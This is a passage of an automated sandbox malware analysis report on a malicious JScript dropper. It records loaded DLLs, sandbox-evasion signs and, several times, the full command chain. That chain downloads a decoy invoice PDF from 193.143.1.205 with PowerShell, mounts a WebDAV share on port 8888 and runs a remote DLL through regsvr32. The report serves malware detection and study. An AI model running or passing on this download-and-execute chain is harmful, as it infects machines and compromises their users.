Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\678.js.csv");ITextStream.WriteLine(" entry:7710 f:ylikonef");ITextStream.WriteLine(" exec:2 f:ylikonef");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4143			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5578			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5256	Thread sleep count: 4143 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5608	Thread sleep count: 5578 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5112	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1408	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 720	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1836	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1412	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7424	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 0000000C.00000002.1322911374.0000021545EA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 0000000C.00000002.1322911374.0000021545F0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2545352009.000002049CA5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000F.00000002.2545352009.000002049CA5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWindows\System32\rasadhlp.dll
Source: svchost.exe, 0000000F.00000002.2543835047.000002049742B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000C.00000002.1322911374.0000021545F0D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW$H

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
